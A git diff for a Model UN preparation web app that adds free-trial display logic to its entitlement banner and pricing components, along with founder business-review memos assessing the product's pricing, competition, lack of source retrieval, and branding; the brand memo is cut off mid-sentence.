import { readJsonResponse } from "@/lib/http"; +import { isTrialPlanId } from "@/lib/plans"; type EntitlementData = { status: "inactive" | "active" | "expired"; planId?: string; expiresAt?: string; + source?: string; }; +/** Whole days left before `expiresAt`, floored at zero. */ +function daysLeft(expiresAt?: string) { + if (!expiresAt) return null; + const remaining = new Date(expiresAt).getTime() - Date.now(); + if (!Number.isFinite(remaining)) return null; + return Math.max(0, Math.ceil(remaining / 86_400_000)); +} + type EntitlementResponse = { entitlement?: EntitlementData; error?: string; @@ -75,6 +85,8 @@ export function EntitlementBanner() { } const active = data?.status === "active"; + const trial = active && isTrialPlanId(data?.planId); + const remaining = trial ? daysLeft(data?.expiresAt) : null; return (
@@ -84,19 +96,31 @@ export function EntitlementBanner() {

- {active ? "Paid workspace active" : "Paid tools locked"} + {trial + ? "Free trial active" + : active + ? "Paid workspace active" + : "Paid tools locked"}

- {active && data.expiresAt - ? `Access expires ${new Date(data.expiresAt).toLocaleDateString("en-IN")}.` - : "Unlock AI research, speeches, POIs, and resolution drafting for this account."} + {trial + ? `Everything is unlocked until ${data.expiresAt ? new Date(data.expiresAt).toLocaleDateString("en-IN") : "your trial ends"}${ + remaining === null + ? "." + : remaining <= 1 + ? " — last day." + : ` — ${remaining} days left.` + } Keep it by choosing a plan.` + : active && data.expiresAt + ? `Access expires ${new Date(data.expiresAt).toLocaleDateString("en-IN")}.` + : "Unlock AI research, speeches, POIs, and resolution drafting for this account."}

- {!active ? ( + {!active || trial ? ( - Unlock access + {trial ? "Choose a plan" : "Unlock access"} ) : null} diff --git a/components/home-landing.tsx b/components/home-landing.tsx index 216710c..2a1cc3e 100644 --- a/components/home-landing.tsx +++ b/components/home-landing.tsx @@ -3,6 +3,7 @@ import Link from "next/link"; import { PublicNav } from "@/components/public-nav"; import { SiteFooter } from "@/components/site-pages"; import { CloudShader } from "@/components/ui/cloud-shader"; +import { FREE_TRIAL_DAYS } from "@/lib/plans"; const workspaces = [ { @@ -67,7 +68,10 @@ export function HomeLanding({ referralName }: { referralName?: string }) {

A focused Model UN workspace for research briefs, country policy, speeches, - POIs, and draft resolution strategy. Sign in to get started. + POIs, and draft resolution strategy. +

+

+ Start with {FREE_TRIAL_DAYS} free days — no card, no payment

{hasAdminAccess ? "You have admin access" - : `You have ${currentPlan?.name ?? "an active plan"}`} + : onFreeTrial + ? "You are on the free trial" + : `You have ${currentPlan?.name ?? "an active plan"}`}

{hasAdminAccess ? "All paid tools are included for this account." : entitlement.expiresAt - ? `Expires ${new Date(entitlement.expiresAt).toLocaleDateString("en-IN")}.` + ? `${onFreeTrial ? "Trial ends" : "Expires"} ${new Date(entitlement.expiresAt).toLocaleDateString("en-IN")}. Buy a pass and your remaining trial days are added on top.` : "Your paid access is ready to use."}

@@ -295,6 +307,8 @@ export function PricingClient() { "Included with admin access" ) : isCurrentPlan ? ( "Current plan" + ) : onFreeTrial ? ( + "Keep access" ) : hasActiveAccess ? ( "Extend access" ) : ( diff --git a/founder/board.md b/founder/board.md new file mode 100644 index 0000000..217db90 --- /dev/null +++ b/founder/board.md @@ -0,0 +1,46 @@ +# What the board said + +**Vote: 2 fund if, 1 pass. Average score 5.7 / 10.** + +| Member | Score | Vote | Where it landed | +|---|---|---|---| +| Offers lens | 6 / 10 | **FUND IF** | Market passes 3 of 4 tests and the ₹2,500 conference fee is a strong anchor, but the offer fails on perceived likelihood (no proof, no citations) and asks for money before any demonstration. | +| Monopoly lens | 4 / 10 | **PASS** | Crowded market, none of the four sources of durable advantage, incremental rather than 10×, and no answer to a copycat in month six. | +| Product lens | 7 / 10 | **FUND IF** | The moment and the craft are right and the packaging is thoughtful, but the first five minutes are a paywall and the product's own rigour promise contradicts its architecture. | + +The members disagree about the *shape*, not the facts. The Product lens sees a well-built product aimed at a real moment and wants it let out of the box. The Monopoly lens accepts all of that and says a well-built product in a crowded market with no moat is still a bad business. Both are right, and the disagreement is the most useful thing on this page: **the founder has built something good and has not yet built something defensible.** + +## The risks more than one member raised — these go first + +**1. 🔴 Nobody can verify the output, and that is the product's core promise. (Raised by all three.)** +The app has **no retrieval layer**. The models answer from their own weights, and the "do not invent citations / mark as needs verification" instruction in the system prompt is a hope, not a mechanism. Meanwhile the category leader's entire pitch is the opposite — retrieval-first, cited primary sources, explicitly contrasting itself with tools that invent citations. A delegate who states a fabricated statistic in a moderated caucus is publicly embarrassed, and the risk is greatest exactly where the product is most useful: position papers and speeches. The Offers lens marks this as the failure of *perceived likelihood*. The Monopoly lens marks it as the axis where the product is *behind*, not merely not-ahead. The Product lens marks it as a promise the architecture cannot keep, and is blunt that the middle position — implying authority without evidence — is the worst of the three options. + +**2. 🔴 The paywall comes before any demonstration, and the price is hidden behind sign-in. (Offers, Product.)** +There is no free tier and no free trial, and `/pricing` redirects to `/auth/signin`. So a cold visitor must create an account, *then* pay ₹199, before seeing a single line of output — while a competitor offers 200 free searches then 50/day, and a general model that does most of the job is free in the next browser tab. Both members independently called this the most *fixable* problem in the pack. + +**3. 🟠 There is no moat, and the substitutes are free. (Monopoly, Offers.)** +No proprietary data, no network effect, no scale advantage, no brand. The cheapest possible substitute is ₹0. The category leader claims 58k–86k users and is priced *above* this product, meaning it can cut into this position at will while this product has no room to retreat. The Offers lens adds the sharper version: three modes and a token slider is a feature comparison, and features compete down to price. + +**4. 🟠 The "Max" mode is a margin hole and an experience mistake. (Product; quantified by the CFO.)** +Max runs on Kimi K3 at $3/$15 per million tokens — roughly **150× the default mode** per request — and any ₹199 weekly buyer can use 12,000-token Max responses with no plan-level cap. The Product lens says a delegate should never be handed a token slider at all; the numbers in `founder/cfo.md` show what the toggle costs. + +**5. 🟠 Distribution is asserted, not planned. (Monopoly, Offers.)** +The referral programme (16.72% of first payment) and organic pages are in place, but the Monopoly lens is right that "MUN Instagram" is a hope until it is a channel with dates, owners and numbers in it. The first hundred paying customers have no named path. + +## The conditions, merged — the rest of the pack tests these + +- [ ] **Let a delegate feel the product before paying.** A hard-capped free first experience (a handful of requests, once per account, no card). *Product lens condition 2; Offers condition 1.* +- [ ] **Show the price on the page, before sign-in.** Remove the `/pricing` → `/auth/signin` redirect. *Offers condition 2.* +- [ ] **Resolve the rigour contradiction in one direction.** Either index primary sources and cite them, or reposition to strategy and stop implying factual authority. No middle. *All three; Product condition 3.* +- [ ] **Kill the mode toggle.** One best answer chosen for the buyer; tie the expensive model to a plan tier or an internal quality bar, not a user switch. *Product condition 1; the CFO quantifies it.* +- [ ] **Anchor the product to the conference date.** Ask for the date and shape the workspace around a countdown and a prep order. Costs nothing in inference; strongest available lever. *Product condition 4.* +- [ ] **Sell to blocks, not only to individuals.** MUN club heads, school coordinators and coaches buy many seats in one conversation. *Monopoly condition 2; Offers condition 4.* +- [ ] **Obtain and publish real third-party proof** — an award, a coach's endorsement, a testimonial the delegate actually said. *Offers condition 5.* +- [ ] **Find the secret.** The one asset only the founder has: the Indian MUN conference calendar and circuit knowledge (dates, committees, agendas, chairs, results). This is the only route to a monopoly the Monopoly lens could see. *Monopoly conditions 1–3.* +- [ ] **Name the first hundred customers and the cost of each.** *Monopoly question 5.* + +## The strongest version of this business the board can see + +*(It differs from what was pitched, and it is fair to say so plainly.)* + +Not a ₹299 AI writing assistant competing with ChatGPT and a better-funded specialist on features — that fight is lost before it starts. The board's strongest version is **the preparation system for Indian MUN delegations, sold to the people who buy in bulk.** Build the asset nobody else has: the conference circuit itself — every Indian MUN on the calendar with its dates, committees, agendas, chairs and outcomes — and wrap it in preparation that is *verifiably correct* because it is indexed against primary sources rather than generated and hoped for. Sell it first to club heads and school coordinators as a delegation-sized block, because one conversation there is worth thirty cold sign-ups and it comes with the club's credibility behind it. Keep the individual ₹199 weekly pass as the self-serve door, but let a delegate walk through the first few steps free so they can feel the difference from ChatGPT in their own committee's words. The bot rail stays as a curiosity, not a strategy. In that version, the moat is the circuit data plus the rigour brand plus the block relationships — three things a competitor with a model API cannot copy by writing a better prompt — and MUN Prep becomes the first place an Indian delegate goes, before they even know they need help. diff --git a/founder/board/brief.md b/founder/board/brief.md new file mode 100644 index 0000000..a23fbd2 --- /dev/null +++ b/founder/board/brief.md @@ -0,0 +1,73 @@ +# Brief for the board + +*(Stands alone: a reader who has not seen the conversation should be able to decide from this. No opinion of mine is added here.)* + +## The business + +**MUN Prep App** — a browser-based AI preparation workspace for Model UN delegates. Live and working at `https://mun-ai-app.vercel.app`. Built and run by one founder. No employees, no investors, no ad spend to date. + +## What it does + +The delegate signs in (Google or email), picks a tool, and gets AI-generated prep material scoped to their committee, agenda and country: + +- **Research brief** — committee context, the country's position, likely blocs, opposition arguments, and a "verify this" checklist. +- **Country policy profiler** — a country's stance on a given agenda item. +- **Position paper builder** — the argument map, in paper structure. +- **Speech and POI practice** — opening speeches, moderated-caucus angles, points of information, rebuttal drills. +- **Resolution clause drafting** — operative clauses and draft resolution structure. + +Alongside the AI tools: a library of ~16 MUN courses, a terminology glossary, quizzes, and the legal/policy pages. The AI answers in three user-selectable modes: + +| Mode | Model behind it | Max output tokens | +|---|---|---| +| **Quick** (the default) | GLM-5.3-Flash | 1,800 | +| **Thorough** | GLM-5.3-Flash | 8,000 | +| **Max** | Kimi K3 | 12,000 | + +The system prompt instructs the model to separate verified facts from strategic recommendations, not to invent citations, and to mark source-backed claims it cannot support as "needs verification". **There is no retrieval layer:** the models answer from their own weights, with no indexed source corpus and no citation database behind them. + +## Price and packaging + +- **Weekly Pass — ₹199**, 7 days of access. +- **Monthly Pass — ₹299**, 30 days of access, plus longer prep history, multiple committee workspaces, priority model routing, export-ready drafts. +- **No free tier. No free trial.** A visitor cannot see the price without first creating an account — `/pricing` redirects to `/auth/signin`. + +Usage caps are identical on both plans: 60 AI requests/day and 300,000 tokens/day per user. + +## Who buys + +Indian Model UN delegates, ~14–22, English-medium schooling. The buyer is often not the user: for school delegates a parent pays, or the school pays for the delegation; for college delegates the student pays from pocket money. A secondary buyer is the MUN coach or club head who preps a whole delegation and could pay for many seats at once. + +**Market context (sourced):** mymun lists **71 upcoming MUN conferences in India** in Oct 2026–2027, with individual conferences between 100 and 1,800 delegates. IIMUN alone runs conferences in 108+ Indian cities and says it reaches 7,500–10,000 schools. One Delhi conference charges **₹2,500** as the delegate registration fee. The Indian circuit peaks January–March and August–November. + +## Distribution + +No paid acquisition yet. Three channels are in place: + +1. **Referral partners.** A coach, club or MUN page gets a unique link and **16.72% of the referred customer's first payment** (~₹50 on a Monthly Pass). Attribution is first-touch, cookie-based, 30 days. +2. **Organic search / social** — the public courses, glossary and legal pages are indexable. +3. **The bot rail.** Crawlers and agents can buy content or AI calls over the x402 protocol at $0.005–$0.05 per call, paid in USDC on Base. This is live but has earned nothing yet. + +## Money + +| Line | Amount | Basis | +|---|---|---| +| Revenue per Weekly Pass | ₹199 | `lib/plans.ts` | +| Revenue per Monthly Pass | ₹299 | `lib/plans.ts` | +| Payment cost | ₹0 per transaction | UroPay charges a flat subscription (₹0 for ≤15 transactions/month, ₹100 for ≤50, ₹1,000 unlimited) and takes **no per-transaction commission** | +| Referral commission | 16.72% of first payment | ~₹33 on a Weekly Pass, ~₹50 on a Monthly Pass, once per referred customer | +| Hosting | Vercel — a paid product cannot stay on the free Hobby tier, so ~$20/month (≈₹1,760) | Vercel's terms; Hobby is non-commercial | +| Database/storage | Supabase free tier initially (₹0) | the app's data volume is small | +| Inference | GLM-5.3-Flash at **$0.15/M input, $0.50/M output**; Kimi K3 at **$3/M input, $15/M output** | published Z.ai and Moonshot rates, Sep–Oct 2026 | +| Cash spent so far | ≈₹0 (phone, laptop, and time) | solo build | + +## The competitive picture in one line each + +- **Model Diplomat** — the category leader: purpose-built MUN AI, cited primary sources, **free tier of 200 searches then 50/day**, Pro at **$20/month or $144/year**, and 58,000–86,000 users claimed across its own marketing pages. +- **ChatGPT** — free tier ₹0, ChatGPT Go ₹399/month, Plus ₹1,999/month. A general model with a good prompt does much of the same job. +- **Free position-paper generators and prompt packs** — dozens exist, including free no-login tools. +- **WiseMee, Best Delegate, MUN coaches** — free or fee-based teaching and content, competing for the same prep hours. + +## What the founder wants to know + +Whether this business can work as priced. diff --git a/founder/board/monopoly.md b/founder/board/monopoly.md new file mode 100644 index 0000000..1965b85 --- /dev/null +++ b/founder/board/monopoly.md @@ -0,0 +1,46 @@ +# Monopoly lens + +Source applied: the "Monopoly" lens in `lenses.md` (a summary of the framework in *Zero to One*). This memo speaks as the framework, not as its author. + +**Score: 4 / 10 | Vote: PASS** + +## What is strong + +**Timing is genuinely good.** The MUN circuit in India is expanding (conferences in 108+ cities, a public calendar of 71 upcoming Indian conferences, two peak seasons a year), and frontier models are simultaneously getting *cheaper* at the mid-tier: GLM-5.3-Flash at **$0.15/M input / $0.50/M output** means a Quick-mode answer costs roughly **₹0.09** in inference. A business that could not have existed two years ago now has near-zero marginal cost on its default path. Naive consumer AI subscriptions (₹399–₹1,999/month) are priced for general chat, not for a three-week burst of MUN prep, so a ₹199 weekly pass is a genuinely different shape rather than a cheaper clone. + +**A small market exists that could be *owned* rather than contested.** Not "students" and not "AI writing tools" — the concrete small market is **a specific school's delegation preparing for a specific conference, bought as a block by the club head or coordinator.** That is a market where one persuasive conversation yields 10–40 seats, where the buyer is reachable, and where a specialist can be unambiguously the best choice. + +**There is a real secret available, and it is not the model.** It is the **conference calendar and institutional knowledge**: which conferences exist, on what dates, with what committees and agendas, in which cities, at what level, who chairs them, what tends to win. Nobody outside the circuit has that dataset. Combined with per-conference, per-committee prep material it is a proprietary asset — the thing that turns a generic chat wrapper into something an entrant cannot replicate by writing a better system prompt on a Tuesday. + +## What would kill it — the top three, most dangerous first + +**1. It is in a crowded market and has none of the four sources of durable advantage.** +- *Proprietary technology:* none identified. It is a system prompt, a model API and a UI. No retrieval, no dataset, no algorithm. +- *Network effects:* none. A delegate's prep improves nothing for the next delegate. +- *Economies of scale:* the ones present (cheaper inference) accrue to *everyone* in the category, including a free competitor with 80,000 users — scale advantage belongs to whoever has the volume, and that is not this business. +- *Brand:* none yet — no users, no reviews, no awards claimed on the public page. + +Against a competitor claiming 58k–86k users, a free tier and cited sources, and against a **free** general model that does 70% of the job, this is the definition of competition without a moat. The lens's claim is uncomfortable but applies: in a crowded market, margins get competed away. Note the direction of the threat — the leader is currently priced *above* this product, which means the leader can cut price into this position at any time, and this product has no room to retreat. + +**2. The engineering question is answered "incremental", not "breakthrough".** Nothing here is 10× better than the next option on anything a buyer cares about. It is arguably *worse* than the leader on the one axis MUN delegates are most sensitive to — whether you can trust the facts you will say out loud. A position paper with an invented resolution number is not a 10% problem; it is the delegate's credibility. The product has no retrieval layer, so on that axis it is behind, not ahead. + +**3. Durability is close to zero as currently built.** What stops a copycat in month six? Realistically nothing: three prompt templates, a model API and a paywall are a weekend of work for anyone with an API key — or a *feature* for the incumbent, which already has the users and the sources. Worse, the threat is not only other companies: the general models keep absorbing the capability that *is* the product, so the winning move for a big lab is to make this business unnecessary rather than to compete with it. + +## The questions I would ask the founder + +1. What do you know about MUN in India that nobody with a model API could look up? If the answer is "which prompts work", that is not a secret, that is a leak. +2. Which *specific* small market are you going to own first — name the schools, the conferences, the cities — and what share of it can you get this season? +3. If Model Diplomat drops Pro to $5/month or makes it free for students, what is your business for the rest of the year? +4. If GPT-6 ships a "MUN mode" next quarter, what remains of your offer? +5. Distribution: how do the first hundred *paying* customers arrive, one at a time, and what does each cost you? A product with no path to buyers is not a business, and "MUN Instagram" is a hope, not a channel, until it is a plan with dates and numbers. +6. Over ten years, on what does this hold its position — the brand among Indian school MUN clubs, or nothing? + +## Why PASS, and what would move it + +The product is well built and the market is real, but as pitched this is a feature-shaped business competing in a crowded category with an incumbent holding the users and the trust, and with free substitutes on both sides of it. On this lens's own criteria, there is no monopoly available at this price, in this shape, with this offer — and PASS is a result, not a failure. + +It does not have to stay that way. There is a route to a defendable position, and it is not a better prompt: + +1. **Own the circuit, not the tool.** Become the system of record for Indian MUN conferences — dates, committees, agendas, chairs, results. That data is a genuine secret, it compounds, and it makes you the place delegates go *first*, before they even want an AI. +2. **Sell blocks, not seats.** Win MUN clubs and school coordinators; a 30-seat school licence at a low per-seat price is a different, more defensible business than one ₹299 impulse purchase at a time, and it comes with the club's credibility behind it. +3. **Be the rigour brand.** If "everything is verifiable" is the promise, build it — index the primary sources (UN resolutions, treaty text, official statements, voting records) and refuse to answer outside them. That is a defensible claim with a real technical component, and it is the exact axis on which MUN cares. diff --git a/founder/board/offers.md b/founder/board/offers.md new file mode 100644 index 0000000..a7b1cbb --- /dev/null +++ b/founder/board/offers.md @@ -0,0 +1,38 @@ +# Offers lens + +Source applied: the "Offers" lens in `lenses.md` (a summary of the framework in *$100M Offers*). This memo speaks as the framework, not as its author. + +**Score: 6 / 10 | Vote: FUND IF** + +## What is strong + +**The market passes three of the four tests.** Massive pain — yes. A delegate's prep week is genuinely unpleasant: committee briefs, country positions, a position paper, an opening speech and POI prep, all due before a date that cannot move, on topics they may never have studied. Buyers with money — yes, or close to it: the same delegate, or their school, has already committed **₹2,500 to register for the conference itself** (Delhi MUN's published fee). A **₹299** prep tool is 12% of the entry fee to the thing it helps them win. That is the single most important number in this analysis: the anchor is already set and it is an order of magnitude above the price. Easy to find and reach — yes, unusually so. MUN delegates cluster hard: school clubs, delegation WhatsApp groups, MUN Instagram pages, and a public calendar of conferences. They are reachable in bulk, by hand, for free. Growing — yes; conferences are multiplying across Indian cities. + +**The dream outcome is real and close.** "Walk into committee prepared, win an award, don't get embarrassed by a bad statistic in a moderated caucus." That is a high-status, emotionally loaded outcome in a competitive adolescent social world. + +**The price is not the objection.** ₹299 sits below ChatGPT Go (₹399) and far below Model Diplomat Pro ($20 ≈ ₹1,760/month). Cheap is not the constraint here. + +## What would kill it — the top three, most dangerous first + +**1. The value equation fails on *perceived likelihood*, and the failure is structural, not fixable with better copy.** The offer asks a delegate to stake their position paper and opening speech on text a model produced with **no retrieval layer and no citations** — while the competitor's entire pitch is that it *cannot* cite a document outside its index, and explicitly contrasts itself with "does it invent citations like ChatGPT? No." A delegate who quotes a hallucinated statistic in a moderated caucus is humiliated in front of their committee. Perceived likelihood of getting the outcome — not getting burned — is therefore low, and the risk is highest exactly where the product is most useful. The system prompt's "mark it as needs verification" instruction is a partial patch on a structural gap, and it makes the product look uncertain rather than authoritative. + +**2. Effort and sacrifice are being asked of the buyer at the wrong moment.** The buyer must (a) discover the site, (b) create a Google account sign-in, (c) *pay before seeing any output*, and (d) get zero proof it is any better than the ChatGPT they already have open in the next tab. There is **no free tier and no free trial**, and the price is hidden behind the sign-in wall. The competitor gives 200 searches and then 50/day free — it lets the delegate feel the outcome before asking for money. Asking for ₹199 before a single demonstration, into a market that has a free alternative one tap away, suppresses the outcome's perceived value to near zero for a cold buyer. This is a distribution-and-proof failure more than a price failure, and it is the most fixable of the three. + +**3. It is priced against a commodity, not an outcome.** Three modes and a token slider is a *feature* comparison against ChatGPT. Nothing in the offer stack is yet scarce or proprietary: no indexed sources, no exclusive past-paper bank, no coach's playbook, no community. If the only differentiator a buyer can perceive is "MUN-shaped prompts," this competes on price, and the lens is blunt about where that ends. + +## The questions I would ask the founder + +1. If a delegate only has ₹299 of prep budget and ChatGPT is already open, in one sentence — what does your tool do that ChatGPT cannot, that the delegate would notice in the first five minutes? +2. Can you show a citation-free guarantee you can actually honour? If not, what is your answer when a chair asks "where is that from?" +3. What is your proof that the output is good? Is there one delegate, one award, one screenshot of "this won me Best Delegate?" +4. Why is there no trial, when the competitor's free tier is the thing doing the selling? +5. What is the guarantee? If the delegate walks into committee and the brief is useless, what do they get back? + +## If FUND IF: the conditions + +1. **Put a demonstration before the payment.** A free tier or trial with a hard cap (e.g. 5 AI requests, once per account, no card) whose only job is to show output quality. Ship before spending a rupee on acquisition. +2. **Show the price before the sign-in.** `/pricing` redirecting to `/auth/signin` costs every cold visitor. +3. **Answer the hallucination objection inside the product**, not in the prompt: surface sources, or ship a "verify before you speak" artefact as a *feature* (a checklist with the specific claims that need checking, plus where to check them), and sell it as rigour rather than apologising for a gap. +4. **Build the stack around the conference deadline, not around tokens.** The buyer's clock is a date. Sell "conference in 5 days" a burnt-down prep plan; add a real, dated launch-week bonus; a realistic guarantee tied to the prep week. +5. **Get one piece of third-party proof** — an award, a testimonial the delegate actually said, a coach's endorsement — and put it on the page. Until then the offer is unproven, and free rivals are one tab away. +6. **Do not answer the ChatGPT objection with "more MUN features."** Answer it with rigour you can evidence (citations or verifiable claims) plus speed to a *conference-ready* artefact. diff --git a/founder/board/product.md b/founder/board/product.md new file mode 100644 index 0000000..16682a1 --- /dev/null +++ b/founder/board/product.md @@ -0,0 +1,45 @@ +# Product lens + +Source applied: the "Product" lens in `lenses.md` (a summary of the ideas in Isaacson's *Steve Jobs* and the public record of how Apple built products). This memo speaks as the framework, not as its author. + +**Score: 7 / 10 | Vote: FUND IF** + +## What is strong + +**The moment has been chosen correctly, and it is a good one.** The product is not "an AI for students" — it is aimed at a specific, vivid, high-stakes hour: *five days before committee, with a country you did not choose and an agenda you have never studied.* That is a real moment with real pressure, and the tool list maps onto it honestly. Research brief, country position, position paper, opening speech, POIs, resolution clauses is exactly the order the work actually happens in. Somebody who understands MUN built the shape of this, and it shows. + +**The interface has taste.** The live site reads like a product, not a project: "Prepare like your committee starts tomorrow." is a good headline, the tools are named like a delegate's desk rather than like prompt presets, and the pricing is expressed in time-boxes (weekly, monthly) that match the natural unit of MUN prep — a conference is an event with a date, so a pass with an expiry is the correct commercial shape. ₹199 for one week is a genuinely thoughtful packaging decision. + +**The engineering craft is above average and mostly invisible, which is the right place for it.** Payment verification is server-side and authoritative, entitlements are enforced on the server, admin sessions require MFA, secrets never reach the browser, and the AI keys never leave the server. Recently, the bot-payment path was hardened so a single paid call can never be replayed into unlimited free ones. None of this is visible to a delegate, and all of it is the difference between a toy and something you can charge money for. A business that is careful where nobody is looking tends to be careful where they are. + +**Ruthless focus is present in one place that matters.** One product, one price ladder, one job. That is rare and it is an asset — protect it. + +**The bot rail is charming and probably irrelevant.** Selling API calls to machine agents over HTTP 402 is intellectually lovely and currently earns nothing. Keep it if it costs nothing; do not let it consume the founder's attention, because no delegate will ever care. + +## What would kill it — the top three, most dangerous first + +**1. The experience is handed between systems at the two worst possible moments, and both seams leak.** +- *Seam one — the sign-in wall before the price.* A visitor who taps "View access" is thrown into an authentication screen. They cannot see what they are buying, for how much. The product hides its single most persuasive fact — that it costs less than the coffee they will drink before committee — behind an account they have not been given a reason to create. +- *Seam two — paying before seeing.* The delegate must hand over ₹199 *before* the product has demonstrated the one thing they are quietly terrified about: whether the output is any good. Every other AI tool on earth lets a person type first. This is not a pricing problem; it is a craft problem. The first five minutes are the product, and right now the first five minutes are a paywall. + +**2. The product's own promise and the product's architecture disagree, which is the most serious craft failure here.** The system prompt says: separate verified facts from recommendations, do not invent citations, mark unsupported claims as "needs verification". That is a promise the architecture cannot keep, because **there is no retrieval layer** — the model answers from its weights alone. So the interface silently asks the delegate to trust unverified text, and the one safety valve (a "needs verification" flag the model must remember to emit) depends on the model's cooperation, not on evidence. In a committee room, a delegate says a number out loud and a chair checks it. Simplifying this is the hard part, and the simplification has not been made: either **go and get the sources** (index the primary corpus, cite everything, refuse to answer outside it) or **drop the pretence of authority** and make the product a sharp *strategy* coach — speech structure, blocs, POI tactics, rebuttal drills — where being wrong about a resolution number does not matter. Right now it does both jobs half-way. + +**3. Three modes is a spec sheet, not a decision.** A delegate who is anxious and short on time should not be handed a token slider called Quick/Thorough/Max and left to choose their own model. That is the founder's vocabulary — it maps to GLM-5.3-Flash and Kimi K3, not to a delegate's need. Worse, "Max" quietly costs the business roughly **150× the default per request** (Kimi K3 at $3/$15 per million tokens versus GLM-5.3-Flash at $0.15/$0.50) with no cap tied to what the customer paid. That is an engineering decision leaking into both the customer's experience *and* the company's margins at the same time. Say no to it. The delegate does not want a mode; the delegate wants the answer to be good, on the first try, without thinking about it — and the fix is one decision made *for* them, plus a deliberate upgrade path for the rare delegate who truly needs 12,000 tokens. + +## The questions I would ask the founder + +1. Describe the first five minutes a real delegate has with this product. If any of it is "sign in, then pay", you have not designed the experience yet. +2. If a chair asks the delegate where a figure came from, what is the honest answer the product has prepared them for? +3. What is the one thing? Name the single job you must be the best in the country at — and then name what you are going to cut to get there. (My answer, if you asked: cut the three modes to one, and cut the courses library down to the handful that earns its place.) +4. What does the delegate see *after* the conference — is there any way for winning to feed back into the product as proof for the next delegate? +5. Where does the experience break at 8am on the morning of the conference, on a phone, on Indian mobile data, with five minutes left? +6. Does the delegate ever hear the product say "I don't know"? If it never does, it is lying. + +## If FUND IF: the conditions + +1. **One mode by default, chosen for the buyer.** Replace the Quick/Thorough/Max control with a single best answer, and tie the expensive model to something the business can afford — a plan tier or an internal quality judgement, not a free-for-all toggle. +2. **Let a delegate feel the product before paying.** A capped free first experience (a few requests, one per account) is the whole top of the funnel. Make the price visible on the page, before sign-in. +3. **Resolve the rigour contradiction in one direction.** Either index real sources and cite them, or reposition to strategy and stop implying factual authority. Do not ship the middle. +4. **Build the deadline into the interface.** The delegate's mental model is a date and a committee. Ask for the conference date once and shape the whole workspace around "you have 5 days, here is the order to do this in." This is the strongest lever available and it costs nothing in inference. +5. **Design the seam between the two roles.** The person who pays is often a parent or a school; the person who uses it is a teenager on a phone at 11pm. Decide how each of them is convinced, and do not make them go through the same door. +6. **Make the first screenshot the ad.** A real brief, with the committee's name in it, shown before sign-in, sells this product better than any headline — and it is the fastest way to find out whether the output is actually good enough to charge for. diff --git a/founder/brand.md b/founder/brand.md new file mode 100644 index 0000000..3003335 --- /dev/null +++ b/founder/brand.md @@ -0,0 +1,127 @@ +# Brand + +The business already has a brand, and it is better than a new one would be. This file names it, protects it, and fixes the one thing wrong with it — which is not the look. **The look is right. The promise is the part that lies.** + +## What exists today, read from the code + +- **Name:** "MUN Prep App" (`app/layout.tsx` metadata, `lib/site-pages.ts` — 28 uses). The site's own name is *MUN Prep*; "App" is a suffix in the title tag. +- **Palette** (`app/globals.css`): paper `#f7f3ea`, ink `#171412`, **oxblood `#7a1f2b`**, **brass `#b78a42`**, **patina `#1d6f68`**, muted `#625951`. +- **Type:** serif display (`Georgia, Cambria, "Times New Roman"`), humanist body (`Aptos, "Avenir Next", "Segoe UI"`), mono for data (`Cascadia Code, Consolas`). +- **Voice, as actually written on the site:** "Prepare like your committee starts tomorrow." · "Research, draft, and debate from one focused Model United Nations prep workspace." · "View access". + +This is a **documents-and-diplomacy** identity: aged paper, a diplomatic oxblood, a brass institutional accent, a patina green like oxidised bronze, and serif headings — the visual language of treaties, letterheads and committee placards. It reads serious, literate and slightly archival. For a product whose output is a position paper, that is precisely the right metaphor, and it is a *better* brand than most competitors'. It should not be thrown away. + +**The fix is one line of copy, not a redesign.** + +## Name + +Ten candidates, in the skill's five styles. + +| Style | Candidate | What it says | Reads / sounds | Risk | +|---|---|---|---|---| +| Descriptive | **MUN Prep** *(incumbent)* | Exactly what it is | Plain, memorable, easy to spell in a WhatsApp message | Generic; hard to own, easy to confuse with coaching services. Search results are already crowded with free "MUN prep" content. | +| Descriptive | Delegate Desk | A workspace for a delegate | Warm, adult | Sounds like furniture. "Desk" implies static. | +| Evocative | **Caucus** | The heart of committee procedure | Short, sharp, in-group | A common word — impossible to trademark in isolation, collides with US political usage. | +| Evocative | Placard | The delegate's name card | Beautiful and specific to MUN | Opaque to a first-timer; nobody searches it. | +| Evocative | Gavel | Authority, the chair | Instantly understood | Reads as a law-school or debate product, not MUN prep. Heavily used. | +| Invented | Delegat. | Delegate, abbreviated | Typo-prone | Too clever; people will type "delegate" and land elsewhere. | +| Invented | Munify | MUN, made | Fun, brandable, a real coined word | Skews childish for the award-chaser buyer, who is the one who actually pays. | +| Founder's name | Schincariol MUN Prep | Personal accountability | Unspellable for an Indian 15-year-old, and long | **No.** Wrong market. | +| Founder's name | Prep by Jake | Solo-founder honesty | Charming | Burdens the brand with one person and reads foreign to the buyer. | +| Place | **Circuit** | The MUN circuit — the thing nobody else has indexed | Speaks the in-group's own language ("I'm on the circuit") | Needs a modifier to be findable; it is also the name of the *strategy*, not yet the product. | + +### Shortlist of three + +1. **MUN Prep** — keep it. SEO is the only acquisition channel this business can afford (see `marketing.md`: the CAC ceiling is ₹169, which rules out paid ads). A descriptive, literal name is worth more here than a clever one, because it is what a coordinator types into Google. **Recommendation: keep `MUN Prep` as the product name and let the brand work be about the promise, not the name.** +2. **Caucus** — the strongest alternative if the founder wants to grow into a category brand rather than a search entry. Only worth it later; renaming now would throw away whatever search presence exists. +3. **Circuit** — the name for the *data asset* the monopoly lens recommended, if it is ever built (the conference calendar). It is a better name for a future product than for this one. + +### Checks the founder must run — I can only do public searches, and nothing is registered until it is registered + +- **Trademark:** search the **Indian register (ipindia.gov.in)** for "MUN Prep" in classes **9** (downloadable software), **41** (education, training, entertainment) and **42** (SaaS, software design). If the founder ever sells to the US/UK, also check **USPTO** (tmsearch.uspto.gov) and **UKIPO** in the same classes. **"MUN" and "Model United Nations" are widely used generically and are likely unprotectable on their own** — the protection would be in the distinctive part, which "Prep" is not. The honest expectation is that "MUN Prep" is hard to trademark and easy for someone else to use. **A trademark lawyer confirms this; a name is not owned until it is registered.** +- **Domain:** check `.com`, `.in`, and `.app` for `munprep` and the variants actually being considered. **Do not assume any are free** — check at a registrar. +- **Handles:** check `@munprep` on Instagram, TikTok, X and YouTube. A delegate discovers this on Instagram, so an available handle matters more than the domain here. +- **Confusion:** keep clear of **Model Diplomat** (name, and its "record at your back" language), **Best Delegate**, **WiseMee**, **mymun** and **MUN Command**. Nothing in the shortlist collides. + +## The promise, the tagline, the voice + +### The one-line promise + +> **Every brief, paper and speech comes with where it came from — and you can check every one before you say it out loud.** + +**This promise cannot be made truthfully today.** The 